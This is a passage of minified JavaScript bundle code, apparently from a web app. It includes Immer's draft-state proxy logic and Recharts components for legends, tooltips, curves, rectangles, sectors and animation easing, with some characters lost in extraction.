n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Sk(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,s=n0;n&&(i=[r],s=Vo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,l}var n0={get(e,t){if(t===hn)return e;const n=Wi(e);if(!Qp(n,t))return uM(e,n,t);const r=n[t];return e.finalized_||!ma(r)?r:r===dm(e.base_,t)?(fm(e),e.copy_[t]=rh(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=Ck(Wi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=dm(Wi(e),t),s=i==null?void 0:i[hn];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(iM(n,i)&&(n!==void 0||Qp(e.base_,t)))return!0;fm(e),nh(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return dm(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,fm(e),nh(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Vn(11)},getPrototypeOf(e){return Wo(e.base_)},setPrototypeOf(){Vn(12)}},Vo={};xu(n0,(e,t)=>{Vo[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Vo.deleteProperty=function(e,t){return Vo.set.call(this,e,t,void 0)};Vo.set=function(e,t,n){return n0.set.call(this,e[0],t,n,e[0])};function dm(e,t){const n=e[hn];return(n?Wi(n):e)[t]}function uM(e,t,n){var i;const r=Ck(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function Ck(e,t){if(!(t in e))return;let n=Wo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Wo(n)}}function nh(e){e.modified_||(e.modified_=!0,e.parent_&&nh(e.parent_))}function fm(e){e.copy_||(e.copy_=Jp(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var dM=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const s=n;n=t;const o=this;return function(c=s,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Vn(6),r!==void 0&&typeof r!="function"&&Vn(7);let i;if(ma(t)){const s=Hy(this),o=rh(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?eh(s):th(s)}return Vy(s,r),Ky(i,s)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Nk&&(i=void 0),this.autoFreeze_&&t0(i,!0),r){const s=[],o=[];pa("Patches").generateReplacementPatches_(t,i,s,o),r(s,o)}return i}else Vn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ma(e)||Vn(8),cs(e)&&(e=fM(e));const t=Hy(this),n=rh(e,void 0);return n[hn].isManual_=!0,th(t),n}finishDraft(e,t){const n=e&&e[hn];(!n||!n.isManual_)&&Vn(9);const{scope_:r}=n;return Vy(r,t),Ky(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=pa("Patches").applyPatches_;return cs(e)?r(e,t):this.produce(e,i=>r(i,t))}};function rh(e,t){const n=ul(e)?pa("MapSet").proxyMap_(e,t):Vd(e)?pa("MapSet").proxySet_(e,t):cM(e,t);return(t?t.scope_:Sk()).drafts_.push(n),n}function fM(e){return cs(e)||Vn(10,e),Pk(e)}function Pk(e){if(!ma(e)||Hd(e))return e;const t=e[hn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Jp(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Jp(e,!0);return xu(n,(i,s)=>{zk(n,i,Pk(s))},r),t&&(t.finalized_=!1),n}var mM=new dM;mM.produce;var pM={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Ek=nn({name:"legend",initialState:pM,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:He()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:He()},removeLegendPayload:{reducer(e,t){var n=qn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:He()}}}),{setLegendSize:ZV,setLegendSettings:QV,addLegendPayload:_k,replaceLegendPayload:Ak,removeLegendPayload:Ok}=Ek.actions,hM=Ek.reducer;function ih(){return ih=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=Na.separator,contentStyle:n,itemStyle:r,labelStyle:i=Na.labelStyle,payload:s,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:p=Na.accessibilityLayer}=e,h=()=>{if(s&&s.length){var N={padding:0,margin:0},z=(l?Cd(s,l):s).map((k,S)=>{if(k.type==="none")return null;var A=k.formatter||o||yM,{value:_,name:O}=k,P=_,I=O;if(A){var Y=A(_,O,k,S,s);if(Array.isArray(Y))[P,I]=Y;else if(Y!=null)P=Y;else return null}var D=Bs(Bs({},Na.itemStyle),{},{color:k.color||Na.itemStyle.color},r);return m.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(S),style:D},Lr(I)?m.createElement("span",{className:"recharts-tooltip-item-name"},I):null,Lr(I)?m.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,m.createElement("span",{className:"recharts-tooltip-item-value"},P),m.createElement("span",{className:"recharts-tooltip-item-unit"},k.unit||""))});return m.createElement("ul",{className:"recharts-tooltip-item-list",style:N},z)}return null},x=Bs(Bs({},Na.contentStyle),n),g=Bs({margin:0},i),y=!Mt(d),v=y?d:"",b=Qe("recharts-default-tooltip",c),w=Qe("recharts-tooltip-label",u);y&&f&&s!==void 0&&s!==null&&(v=f(d,s));var j=p?{role:"status","aria-live":"assertive"}:{};return m.createElement("div",ih({className:b,style:x},j),m.createElement("p",{className:w,style:g},m.isValidElement(v)?v:"".concat(v)),h())},Fs="recharts-tooltip-wrapper",wM={visibility:"hidden"};function jM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Qe(Fs,{["".concat(Fs,"-right")]:ge(n)&&t&&ge(t.x)&&n>=t.x,["".concat(Fs,"-left")]:ge(n)&&t&&ge(t.x)&&n=t.y,["".concat(Fs,"-top")]:ge(r)&&t&&ge(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var p=c[r];if(p==null)return 0;if(o[r]){var h=d,x=p;return hy?Math.max(d,p):Math.max(f,p)}function NM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function kM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:s,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,p;return l.height>0&&l.width>0&&n?(f=Gy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:s,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),p=Gy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:s,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=NM({translateX:f,translateY:p,useTranslate3d:c})):d=wM,{cssProperties:d,cssClasses:jM({translateX:f,translateY:p,coordinate:n})}}function Xy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ql(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,s;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(s=this.props.coordinate)===null||s===void 0?void 0:s.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:s,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:p,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:N}=kM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:p,viewBox:h}),z=v?{}:ql(ql({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},N),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),k=ql(ql({},z),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return m.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:k,ref:y},s)}}var Tk=()=>{var e;return(e=je(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function sh(){return sh=Object.assign?Object.assign.bind():function(e){for(var t=1;tEe(e.x)&&Ee(e.y),e1=e=>e.base!=null&&yu(e.base)&&yu(e),Ws=e=>e.x,Us=e=>e.y,AM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(al(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=Jy["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return Jy[n]||yd},t1={connectNulls:!1,type:"linear"},OM=e=>{var{type:t=t1.type,points:n=[],baseLine:r,layout:i,connectNulls:s=t1.connectNulls}=e,o=AM(t,i),l=s?n.filter(yu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Qy(Qy({},x),{},{base:r[g]}));i==="vertical"?c=Bl().y(Us).x1(Ws).x0(x=>x.base.x):c=Bl().x(Ws).y1(Us).y0(x=>x.base.y);var d=c.defined(e1).curve(o),f=s?u.filter(e1):u;return d(f)}var p;i==="vertical"&&ge(r)?p=Bl().y(Us).x1(Ws).x0(r):ge(r)?p=Bl().x(Ws).y1(Us).y0(r):p=V5().x(Ws).y(Us);var h=p.defined(yu).curve(o);return h(l)},Za=e=>{var{className:t,points:n,path:r,pathRef:i}=e,s=bs();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||s,connectNulls:e.connectNulls},l=n&&n.length?OM(o):r;return m.createElement("path",sh({},Mr(e),Lx(e),{className:Qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},TM=["x","y","top","left","width","height","className"];function oh(){return oh=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(s,",").concat(t,"h").concat(n),FM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:s=0,height:o=0,className:l}=e,c=RM(e,TM),u=MM({x:t,y:n,top:r,left:i,width:s,height:o},c);return!ge(t)||!ge(n)||!ge(s)||!ge(o)||!ge(r)||!ge(i)?null:m.createElement("path",oh({},Ut(u),{className:Qe("recharts-cross",l),d:BM(t,n,s,o,r,i)}))};function WM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function r1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function i1(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),Mk=(e,t,n)=>e.map(r=>"".concat(KM(r)," ").concat(t,"ms ").concat(n)).join(","),YM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Ho=(e,t)=>Object.keys(t).reduce((n,r)=>i1(i1({},n),{},{[r]:e(r,t[r])}),{});function a1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ht(e){for(var t=1;te+(t-e)*n,lh=e=>{var{from:t,to:n}=e;return t!==n},Lk=(e,t,n)=>{var r=Ho((i,s)=>{if(lh(s)){var[o,l]=e(s.from,s.to,s.velocity);return ht(ht({},s),{},{from:o,velocity:l})}return s},t);return n<1?Ho((i,s)=>lh(s)&&r[i]!=null?ht(ht({},s),{},{velocity:bu(s.velocity,r[i].velocity,n),from:bu(s.from,r[i].from,n)}):s,t):Lk(e,r,n-1)};function ZM(e,t,n,r,i,s){var o,l=r.reduce((p,h)=>ht(ht({},p),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Ho((p,h)=>h.from,l),u=()=>!Object.values(l).filter(lh).length,d=null,f=p=>{o||(o=p);var h=p-o,x=h/n.dt;l=Lk(n,l,x),i(ht(ht(ht({},e),t),c())),o=p,u()||(d=s.setTimeout(f))};return()=>(d=s.setTimeout(f),()=>{var p;(p=d)===null||p===void 0||p()})}function QM(e,t,n,r,i,s,o){var l=null,c=i.reduce((f,p)=>{var h=e[p],x=t[p];return h==null||x==null?f:ht(ht({},f),{},{[p]:[h,x]})},{}),u,d=f=>{u||(u=f);var p=(f-u)/r,h=Ho((g,y)=>bu(...y,n(p)),c);if(s(ht(ht(ht({},e),t),h)),p<1)l=o.setTimeout(d);else{var x=Ho((g,y)=>bu(...y,n(1)),c);s(ht(ht(ht({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const JM=(e,t,n,r,i,s)=>{var o=YM(e,t);return n==null?()=>(i(ht(ht({},e),t)),()=>{}):n.isStepper===!0?ZM(e,t,n,o,i,s):QM(e,t,n,r,o,i,s)};var wu=1e-4,Ik=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],Dk=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),s1=(e,t)=>n=>{var r=Ik(e,t);return Dk(r,n)},e8=(e,t)=>n=>{var r=Ik(e,t),i=[...r.map((s,o)=>s*o).slice(1),0];return Dk(i,n)},t8=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(s=>parseFloat(s));return[i[0],i[1],i[2],i[3]]},n8=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=s1(e,n),s=s1(t,r),o=e8(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,p=0;p<8;++p){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,s=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,p=c*i/1e3+o;return Math.abs(p-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return o1(e);case"spring":return i8();default:if(e.split("(")[0]==="cubic-bezier")return o1(e)}return typeof e=="function"?e:null};function s8(e){var t,n=()=>null,r=!1,i=null,s=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(s.bind(null,u),c);return}s(c),i=e.setTimeout(s.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),s(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class o8{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,s=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(s))};return i=requestAnimationFrame(s),()=>{i!=null&&cancelAnimationFrame(i)}}}function l8(){return s8(new o8)}var c8=m.createContext(l8);function u8(e,t){var n=m.useContext(c8);return m.useMemo(()=>t??n(e),[e,t,n])}var d8=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Kd={isSsr:d8()},f8={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},l1={t:0},mm={t:1};function Yd(e){var t=gn(e,f8),{isActive:n,canBegin:r,duration:i,easing:s,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Kd.isSsr:n,f=u8(t.animationId,t.animationManager),[p,h]=m.useState(d?l1:mm),x=m.useRef(null);return m.useEffect(()=>{d||h(mm)},[d]),m.useEffect(()=>{if(!d||!r)return ys;var g=JM(l1,mm,a8(s),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,s,o,c,l,f]),u(p.t)}function qd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=m.useRef(Ro(t)),r=m.useRef(e);return r.current!==e&&(n.current=Ro(t),r.current=e),n.current}var m8=["radius"],p8=["radius"],c1,u1,d1,f1,m1,p1,h1,x1,v1,g1;function y1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function b1(e){for(var t=1;t{var s=ui(n),o=ui(r),l=Math.min(Math.abs(s)/2,Math.abs(o)/2),c=o>=0?1:-1,u=s>=0?1:-1,d=o>=0&&s>=0||o<0&&s<0?1:0,f;if(l>0&&Array.isArray(i)){for(var p=[0,0,0,0],h=0,x=4;hl?l:y}f=tt(c1||(c1=tr(["M",",",""])),e,t+c*p[0]),p[0]>0&&(f+=tt(u1||(u1=tr(["A ",",",",0,0,",",",",",""])),p[0],p[0],d,e+u*p[0],t)),f+=tt(d1||(d1=tr(["L ",",",""])),e+n-u*p[1],t),p[1]>0&&(f+=tt(f1||(f1=tr(["A ",",",",0,0,",`, + `,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(m1||(m1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(p1||(p1=tr(["A ",",",",0,0,",`, + `,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(h1||(h1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(x1||(x1=tr(["A ",",",",0,0,",`, + `,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(v1||(v1=tr(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(g1||(g1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},N1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Rk=e=>{var t=gn(e,N1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var W=n.current.getTotalLength();W&&i(W)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var z=Qe("recharts-rectangle",d);if(!g){var k=Ut(t),{radius:S}=k,A=w1(k,m8);return m.createElement("path",ju({},A,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:z,d:j1(s,o,l,c,u)}))}var _=y.current,O=v.current,P=b.current,I=w.current,Y="0px ".concat(r===-1?1:r,"px"),D="".concat(r,"px 0px"),M=Mk(["strokeDasharray"],p,typeof f=="string"?f:N1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},W=>{var $=At(_,l,W),H=At(O,c,W),F=At(P,s,W),K=At(I,o,W);n.current&&(y.current=$,v.current=H,b.current=F,w.current=K);var Z;x?W>0?Z={transition:M,strokeDasharray:D}:Z={strokeDasharray:Y}:Z={strokeDasharray:D};var oe=Ut(t),{radius:de}=oe,be=w1(oe,p8);return m.createElement("path",ju({},be,{radius:typeof u=="number"?u:void 0,className:z,d:j1(F,K,$,H,u),ref:n,style:b1(b1({},Z),t.style)}))})};function k1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function z1(e){for(var t=1;te*180/Math.PI,dt=(e,t,n,r)=>({x:e+Math.cos(-Nu*r)*n,y:t+Math.sin(-Nu*r)*n}),$k=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},N8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},k8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=N8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:j8(c),angleInRadian:c}},z8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},S8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},C8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=k8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=z8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?z1(z1({},t),{},{radius:i,angle:S8(d,t)}):null};function Bk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=dt(t,n,r,i),l=dt(t,n,r,s);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:s}}var S1,C1,P1,E1,_1,A1,O1;function ch(){return ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=Gt(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Gl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:s,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/Nu,f=c?i:i+s*d,p=dt(t,n,u,f),h=dt(t,n,r,f),x=c?i-s*d:i,g=dt(t,n,u*Math.cos(d*Nu),x);return{center:p,circleTangency:h,lineTangency:g,theta:d}},Fk=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:s,endAngle:o}=e,l=P8(s,o),c=s+l,u=dt(t,n,i,s),d=dt(t,n,i,c),f=tt(S1||(S1=qi(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=dt(t,n,r,s),h=dt(t,n,r,c);f+=tt(C1||(C1=qi(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(P1||(P1=qi(["L ",","," Z"])),t,n);return f},E8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Gt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Gl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Gl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(E1||(E1=qi(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),p.x,p.y,s,s,s*2,s,s,-s*2):Fk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(_1||(_1=qi(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Gl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:z,lineTangency:k,theta:S}=Gl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),A=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(A<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(A1||(A1=qi(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),k.x,k.y,s,s,+(d<0),z.x,z.y,r,r,+(A>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(O1||(O1=qi(["L",",","Z"])),t,n);return b},_8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Wk=e=>{var t=gn(e,_8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s0&&Math.abs(u-d)<360?g=E8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Fk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",ch({},Ut(t),{className:p,d:g}))};function A8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(oN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=dt(r,i,s,l),u=dt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Bk(t)}}var Uk={},Vk={},Hk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hx;function n(r){return 